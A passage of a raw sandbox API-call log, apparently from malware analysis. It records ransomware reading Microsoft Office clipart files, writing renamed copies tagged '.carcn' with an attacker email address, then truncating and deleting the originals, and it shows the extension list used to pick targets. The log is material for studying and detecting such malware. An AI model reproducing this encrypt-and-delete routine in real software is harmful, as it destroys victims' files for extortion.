(hFile=0x550) returned 1 [0271.368] CloseHandle (hObject=0x550) returned 1 [0271.368] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.368] SetEndOfFile (hFile=0x540) returned 1 [0271.371] CloseHandle (hObject=0x540) returned 1 [0271.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0271.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.373] lstrlenW (lpString=".doc") returned 4 [0271.373] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.373] lstrlenW (lpString=".docx") returned 5 [0271.373] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.373] lstrlenW (lpString=".pdf") returned 4 [0271.373] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.373] lstrlenW (lpString=".xls") returned 4 [0271.373] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.373] lstrlenW (lpString=".xlsx") returned 5 [0271.373] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.373] lstrlenW (lpString=".ppt") returned 4 [0271.373] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.373] lstrlenW (lpString=".zip") returned 4 [0271.373] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.373] lstrlenW (lpString=".rar") returned 4 [0271.373] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.373] lstrlenW (lpString=".bz2") returned 4 [0271.373] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.373] lstrlenW (lpString=".7z") returned 3 [0271.373] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.373] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.374] lstrlenW (lpString=".dbf") returned 4 [0271.374] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.374] lstrlenW (lpString=".1cd") returned 4 [0271.374] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.374] lstrlenW (lpString=".jpg") returned 4 [0271.374] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.374] lstrlenW (lpString=".doc") returned 4 [0271.374] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.374] lstrlenW (lpString=".docx") returned 5 [0271.374] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.374] lstrlenW (lpString=".pdf") returned 4 [0271.374] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.374] lstrlenW (lpString=".xls") returned 4 [0271.374] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.374] lstrlenW (lpString=".xlsx") returned 5 [0271.374] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.374] lstrlenW (lpString=".ppt") returned 4 [0271.374] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.374] lstrlenW (lpString=".zip") returned 4 [0271.374] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.375] lstrlenW (lpString=".rar") returned 4 [0271.375] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.375] lstrlenW (lpString=".bz2") returned 4 [0271.375] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.375] lstrlenW (lpString=".7z") returned 3 [0271.375] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.375] lstrlenW (lpString=".dbf") returned 4 [0271.375] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.375] lstrlenW (lpString=".1cd") returned 4 [0271.375] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 68 [0271.375] lstrlenW (lpString=".jpg") returned 4 [0271.375] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.375] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.375] lstrlenW (lpString="DD00414_.WMF") returned 12 [0271.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0271.376] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=42908) returned 1 [0271.377] CloseHandle (hObject=0x540) returned 1 [0271.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 0x220 [0271.377] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0271.377] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.377] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.378] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0271.378] GetLastError () returned 0x0 [0271.378] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0xa79c, lpOverlapped=0x0) returned 1 [0271.425] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xa7a0, lpOverlapped=0x0) returned 1 [0271.427] ReadFile (in: hFile=0x540, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.427] WriteFile (in: hFile=0x550, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.427] SetEndOfFile (hFile=0x550) returned 1 [0271.427] CloseHandle (hObject=0x550) returned 1 [0271.428] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.428] SetEndOfFile (hFile=0x540) returned 1 [0271.453] CloseHandle (hObject=0x540) returned 1 [0271.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.456] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00414_.wmf")) returned 1 [0271.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.470] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.470] lstrlenW (lpString=".doc") returned 4 [0271.470] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.470] lstrlenW (lpString=".docx") returned 5 [0271.470] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.470] lstrlenW (lpString=".pdf") returned 4 [0271.470] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.470] lstrlenW (lpString=".xls") returned 4 [0271.470] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.470] lstrlenW (lpString=".xlsx") returned 5 [0271.470] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.470] lstrlenW (lpString=".ppt") returned 4 [0271.470] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.471] lstrlenW (lpString=".zip") returned 4 [0271.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.471] lstrlenW (lpString=".rar") returned 4 [0271.471] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString=".bz2") returned 4 [0271.471] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString=".7z") returned 3 [0271.471] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.471] lstrlenW (lpString=".dbf") returned 4 [0271.471] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.471] lstrlenW (lpString=".1cd") returned 4 [0271.471] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.471] lstrlenW (lpString=".jpg") returned 4 [0271.471] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.471] lstrlenW (lpString=".doc") returned 4 [0271.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.471] lstrlenW (lpString=".docx") returned 5 [0271.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.472] lstrlenW (lpString=".pdf") returned 4 [0271.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.472] lstrlenW (lpString=".xls") returned 4 [0271.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.472] lstrlenW (lpString=".xlsx") returned 5 [0271.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.472] lstrlenW (lpString=".ppt") returned 4 [0271.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.472] lstrlenW (lpString=".zip") returned 4 [0271.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.472] lstrlenW (lpString=".rar") returned 4 [0271.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.472] lstrlenW (lpString=".bz2") returned 4 [0271.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.472] lstrlenW (lpString=".7z") returned 3 [0271.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.472] lstrlenW (lpString=".dbf") returned 4 [0271.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.473] lstrlenW (lpString=".1cd") returned 4 [0271.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00414_.WMF") returned 68 [0271.473] lstrlenW (lpString=".jpg") returned 4 [0271.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.473] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.473] lstrlenW (lpString="DD00419_.WMF") returned 12 [0271.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0271.474] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=712) returned 1 [0271.474] CloseHandle (hObject=0x548) returned 1 [0271.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220 [0271.475] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0271.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0271.475] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.475] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524 [0271.476] GetLastError () returned 0x0 [0271.476] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x2c8, lpOverlapped=0x0) returned 1 [0271.478] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x2d0, lpOverlapped=0x0) returned 1 [0271.479] ReadFile (in: hFile=0x548, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0271.479] WriteFile (in: hFile=0x524, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0271.479] SetEndOfFile (hFile=0x524) returned 1 [0271.479] CloseHandle (hObject=0x524) returned 1 [0271.480] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0271.480] SetEndOfFile (hFile=0x548) returned 1 [0271.483] CloseHandle (hObject=0x548) returned 1 [0271.483] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0271.497] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1 [0271.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.498] lstrlenW (lpString=".doc") returned 4 [0271.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.498] lstrlenW (lpString=".docx") returned 5 [0271.498] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.498] lstrlenW (lpString=".pdf") returned 4 [0271.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.498] lstrlenW (lpString=".xls") returned 4 [0271.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.498] lstrlenW (lpString=".xlsx") returned 5 [0271.498] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.498] lstrlenW (lpString=".ppt") returned 4 [0271.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.498] lstrlenW (lpString=".zip") returned 4 [0271.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.498] lstrlenW (lpString=".rar") returned 4 [0271.499] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString=".bz2") returned 4 [0271.499] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString=".7z") returned 3 [0271.499] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.499] lstrlenW (lpString=".dbf") returned 4 [0271.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.499] lstrlenW (lpString=".1cd") returned 4 [0271.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.499] lstrlenW (lpString=".jpg") returned 4 [0271.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.499] lstrlenW (lpString=".doc") returned 4 [0271.499] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString=".docx") returned 5 [0271.499] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.499] lstrlenW (lpString=".pdf") returned 4 [0271.499] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString=".xls") returned 4 [0271.499] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.499] lstrlenW (lpString=".xlsx") returned 5 [0271.499] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.499] lstrlenW (lpString=".ppt") returned 4 [0271.499] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.500] lstrlenW (lpString=".zip") returned 4 [0271.500] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.500] lstrlenW (lpString=".rar") returned 4 [0271.500] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.500] lstrlenW (lpString=".bz2") returned 4 [0271.500] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.500] lstrlenW (lpString=".7z") returned 3 [0271.500] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.500] lstrlenW (lpString=".dbf") returned 4 [0271.500] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.500] lstrlenW (lpString=".1cd") returned 4 [0271.500] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.500] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68 [0271.500] lstrlenW (lpString=".jpg") returned 4 [0271.500] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.500] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0271.500] lstrlenW (lpString="DD00437_.WMF") returned 12 [0271.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0271.577] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x295ff14 | out: lpFileSize=0x295ff14*=1932) returned 1 [0271.577] CloseHandle (hObject=0x54c) returned 1 [0271.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf")) returned 0x220 [0271.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0272.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0272.582] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.582] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00437_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0272.583] GetLastError () returned 0x0 [0272.583] ReadFile (in: hFile=0x550, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x78c, lpOverlapped=0x0) returned 1 [0272.978] WriteFile (in: hFile=0x414, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0x790, lpOverlapped=0x0) returned 1 [0272.979] ReadFile (in: hFile=0x550, lpBuffer=0x350a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x295fecc, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesRead=0x295fecc*=0x0, lpOverlapped=0x0) returned 1 [0272.979] WriteFile (in: hFile=0x414, lpBuffer=0x350a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x295fc94, lpOverlapped=0x0 | out: lpBuffer=0x350a020*, lpNumberOfBytesWritten=0x295fc94*=0xec, lpOverlapped=0x0) returned 1 [0272.979] SetEndOfFile (hFile=0x414) returned 1 [0272.980] CloseHandle (hObject=0x414) returned 1 [0272.980] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x295fec0 | out: lpNewFilePointer=0x0) returned 1 [0272.980] SetEndOfFile (hFile=0x550) returned 1 [0272.987] CloseHandle (hObject=0x550) returned 1 [0272.987] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00437_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0272.990] DeleteFileW 